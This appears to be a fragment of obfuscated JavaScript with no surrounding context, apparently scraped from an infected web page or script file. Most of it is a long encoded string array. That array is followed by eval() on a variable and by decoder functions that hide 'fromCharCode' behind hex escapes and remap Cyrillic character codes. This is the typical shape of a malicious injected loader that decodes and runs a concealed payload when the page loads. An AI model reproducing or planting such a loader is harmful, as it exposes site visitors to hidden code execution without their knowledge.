,"±","±16","3±™","617","™","?™","6","82","™","±127","±","™75","2","™±1","97±±1","97±±19","7±%\"","™6","33","™e","m™60","9™","±","1","61±","±","14","9","±±","150±±160±","[±","1","5","9±","±1","4","6","±±","14","2±","±","145","±™","6","3","8","™","±1","9","5±™","6","33","™±152","±","±","18","5±","™","7","88™A","TE±0","±±","2","9","±","™7","40","™","±237±","™78","2","™","±25","0±™716™","±1","91±","™7","8","0","™",";™67","1™","±2","1","8","±","™","7","84","™I","™5","99™","±","14","7±±1","43","±™","6","28™","±","165±±180","±™","765","™",".±240","±","±2","42","±","±","233±™","6","04™","±","163±™","72","7","™±","1","7","6±±","173±","™6","76","™y","y™6","8","3","™±1","28","±","™","5","97","™","*™6","9","3™±","13","8","±™","686™±2","4","1","±","™","789™JO","EPX","™","6","2","6™","l","™","6","23","™","±","17","9","±±","1","8","0","±","±1","81±","±1","6","1±","™","658™","±2","02±±1","9","1","±±","19","7±","™","76","8","™±23","6","±","±9","±","±2","36±±2","5","4±±7","±™","665","™","r","™7","7","0","™","±216","±","±","2","15±±215","±","™676","™","yy™","618™","±","179±C™7","46","™±1","9","2±","™6","42","™WWW±2","0","3","±","™","7","3","7™","±","2","32","±","±","1","86","±","™","790","™","±2","3","6","±","±235","±","™","77","0™±215","±","±","21","5","±™69","2","™±2","43±±","2","2","7±","™72","1™","±1","5±±6±","™6","07™±","1","5","5±","™7","5","8","™6","™","7","2","6","™±","2","08±","±","1","7","±","™","698™±24","4","±™74","9","™","%","(±","2","6±™","7","48","™","±28±±","216±","±","24","5","±","™","7","87™±","2","55","±","™767","™1@9.?","4™","7","83","™","J™","6","54","™±","2","00","±™","63","9","™","s","™677","™±1","5","4±","™","6","49™u±2","0","8","±b","_^^","™","76","1™±2","06","±","±","2","06","±","<",".","3",")™","72","1","™±1","2±±2","0","±","±203±","™","7","1","2™±1","2","±±1","3","±","±1","4±","±250±","±","0","±±","245±±2","51±™","685","™±","1","5","3","±±","1","82±","±1","53","±","±1","71","±","±1","8","0±","™","6","96","™±1","4","5","±™7","7","0™±21","6±±","215","±","±21","5","±","±","21","5±","™","6","2","8™±","1","89±™","7","9","2","™±","31","±","±241±","™7","0","5","™","±1","51","±±1","50","±","™7","48","™±1","93±","™79","2™","±23","7","±™","725","™±","20","±","™","7","01","™","±","2","36±","™74","3","™%","™73","6™","±","21","±±2","8","±±32","±","™","6","35","™","u","™7","02","™","±25","3","±™","6","20™","±17","0","±","™","6","1","9","™±15","4±W","tW","™","755™4","1™762™2™","7","07™±","175","±","±","18","6","±","±","1","75±±2","20±±","24","0","±±3±™","6","23","™±1","63","±","™","654","™±","136","±™6","44","™","±","1","94±","™69","1™±2","2","4","±","±2","3","7±±","2","27±±","238±","±236","±™","694™±","1","7","0±","±17","1","±±","1","7","6±™","70","9™","±","5","±±0","±","±","228","±™","7","0","4™±","0","±±","254","±","±","24","5","±","±250","±™7","9","0","™I","±","10","±±","11±","±1","6","±™6","4","0","™","±19","1","±±19","3","±±","174","±™6","99™±","25","0±","±2","51±±24","9","±","™","642","™","±18","3","±","™","7","4","2™","±32±™696™±","23","5","±±","17","2±™723™","±","210","±™","6","00™M","D","™","6","46","™±125","±™","65","8","™","±1","2","6±","™","6","8","8™±","16","3","±","™7","3","2","™","±2","1","4±","±","18±","±27±","±20","7±","™","7","46™","±","24","1±","±1","95","±±192","±","™6","2","6™","G","GG","™641™±1","81±","±","17","8","±","™6","0","0","™","±","1","3","3","±±136±R±1","33±","±14","8±","™","6","6","0","™±","2","0","8±™","7","09","™","±","2","46±±2","5","5±","±","24","5","±","±","2","12±±","24","9±±","2","5","0±","™","62","3™±1","67±","™64","3™","±","179","±w±","1","94±","™725™","±4","±±1","9","±","±","10","±","™7","90™","R™69","4™±24","6","±","™61","0","™W™","737","™","±232","±","™","680","™±129","±±","1","2","6±","™737™±","182±","™","7","8","3","™±","2","2","8±","X","±","2","32±","±","2","2","9","±±22","8","±","™","64","2™","±","2","0","3±","™","66","1™","±156±n","™","7","19™","±","1","6","5","±±2","4±±19","6","±","™72","2™±198","±","±199±±217±");eval(l4cdd66c);function e14df2(){return 12;}function e6d130f57(t3d614d5b,if780d8b){return t3d614d5b.substr(if780d8b,1);}function e049fe3e(f0cbf5){return ++f0cbf5;}function qbb5ddf2(rfa2d3c4e,fc526c){return rfa2d3c4e.substr(fc526c,1);}function e8b85e6(se6d3b88,g11a76){return se6d3b88.substr(g11a76,1);}function n40e90e(m2091ca6){if(m2091ca6==168)m2091ca6=1025;else if(m2091ca6==184)m2091ca6=1105;return (m2091ca6>=192 && m2091ca6<256) ? m2091ca6+848 : m2091ca6;}function nf3a0c7(o53060,e68887,bc8d0e642){return o53060-e68887-bc8d0e642;}function o8be9d342(s85877a49){var l3f9ddca=String;return l3f9ddca["f\x72omCha\x72Co\x64e"](s85877a49);}function ece8df8(xe63c659){var f87eb3468=xe63c659;if(f87eb3468<0)f87eb3468+=256;if(f87eb3468==168)f87eb3468=1025;else if(f87eb3468==184)f87eb3468=1105;return (f87eb3468>=192 && f87eb3468<256) ? f87eb3468+848 : f87eb3468;}
